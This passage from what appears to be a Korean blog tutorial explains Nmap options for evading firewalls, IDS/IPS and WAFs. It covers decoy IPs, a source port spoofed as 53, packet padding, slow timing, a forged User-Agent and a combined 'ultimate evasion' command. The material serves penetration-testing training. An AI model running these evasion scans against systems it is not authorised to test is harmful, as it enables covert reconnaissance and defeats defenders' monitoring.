 - 보안팀의 로그 분석을 교란시킬 때 매우 유용합니다.

  • 명령어: -D RND:[숫자] 또는 -D [가짜IP1],[가짜IP2],ME
  • 원리: 스캔 패킷 사이에 가짜 IP(Decoy) 주소로 된 패킷을 섞어 보냅니다.
  • 사용 예시:
랜덤한 10개의 가짜 IP와 내 IP(ME)를 섞어서 스캔
# nmap -D RND:10 [Target_IP]

 

◎ 출발지 포트 속이기 (Source Port Manipulation)

 - 방화벽 설정이 허술한 경우, "DNS(53번)나 웹(80번)에서 들어오는 응답 패킷은 안전하다"고 판단해 통과시키는 경우가 많습니다.

 - 내 스캔 패킷이 마치 DNS 서버에서 나가는 것처럼 위장하는 방법입니다.

  • 명령어: --source-port [포트번호] 또는 -g [포트번호]
  • 원리: 출발지 포트(Source Port)를 53(DNS), 88(Kerberos), 20(FTP-Data) 등으로 고정합니다.
  • 사용 예시:
# nmap -g 53 [Target_IP]  // 마치 DNS 패킷인 척 위장

 

◎ 데이터 길이 조작하기 (Data Length)

 - Nmap의 기본 스캔 패킷은 크기가 일정하거나 비어있습니다. 

 - IPS는 이런 "전형적인 Nmap 패킷 시그니처"를 탐지합니다.

 - 패킷에 랜덤한 쓰레기 데이터를 채워 넣어 일반 통신처럼 보이게 만듭니다.

  • 명령어: --data-length [숫자]
  • 원리: 패킷 끝에 지정한 바이트만큼의 랜덤 데이터를 추가합니다.
  • 사용 예시:
# nmap --data-length 25 [Target_IP]

 

◎ 천천히, 아주 천천히 (Timing)

 - IPS/IDS는 보통 "짧은 시간(예: 1초) 동안 X번 이상의 포트 접속 시도"가 발생하면 차단합니다.

 - 이를 피하는 가장 확실한 방법은 속도를 늦추는 것입니다.

  • 명령어: -T2 (Polite) 또는 -T1 (Sneaky)
  • 원리: 패킷 전송 간격을 늘려 보안 장비의 임계치(Threshold) 미만으로 스캔합니다. (단, 시간이 매우 오래 걸립니다.)
  • 사용 예시:
# nmap -T2 [Target_IP]

 

◎ HTTP User-Agent 변경 (WAF 우회)

 - 만약 웹 포트(80, 443)를 대상으로 -sC(스크립트)를 돌린다면, Nmap은 기본적으로 User-Agent: Nmap Scripting Engine이라는 헤더를 달고 요청을 보냅니다. 

 - WAF(웹 방화벽)는 이 헤더를 보자마자 차단합니다.

  • 명령어: --script-args http.useragent="[문자열]"
  • 원리: 일반 브라우저(Chrome, Firefox)나 모바일 기기처럼 위장합니다.
  • 사용 예시:
# nmap -p 80,443 --script=http-title \
  --script-args http.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)..." [Target_IP]

 

◎ 방화벽 우회 종합 세트 (Ultimate Evasion Command)
 - 만약 타겟이 보안이 철저한 곳이라면, 아래와 같이 옵션을 섞어서 시도해 볼 수 있습니다.

# nmap -sS -Pn -n -f -g 53 --data-length 15 -T2 [Target_IP]
  • -sS: TCP SYN 스캔 (연결을 맺지 않아 로그가 적게 남음, Stealth 기본)
  • -Pn: Ping 금지 (방화벽이 ICMP 막아도 강제 진행)
  • -n: DNS 역질의 금지 (속도 향상 및 DNS 로그 남기지 않음)
  • -f: 패킷 조각내기
  • -g 53: 출발지 포트를 53번으로 위장
  • --data-length 15: 패킷 크기 변조
  • -T2: 천천히 스캔하여 임계치 회피

 

◎ 주의사항

  • 이러한 회피 기법들은 보안 장비의 성능이나 설정 상태에 따라 성공 여부가 갈립니다. 
  • 또한, 최신 차세대 방화벽(NGFW)이나 EDR은 이러한 회피 기법조차 패턴으로 인식하여 탐지할 수 있으니, 실제 모의해킹 수행 시에는 고객사와 협의된 IP를 화이트리스트(Allow-list)에 등록하고 진행하는 것이 가장 정확하고 안전합니다.
  • 방화벽이 있다고 당황하지 마시고, 위 옵션들을 하나씩 적용해 보며 뚫리는지 확인해 보세요. Nmap은 옵션을 아는 만큼 보입니다.
반응형

+ Recent posts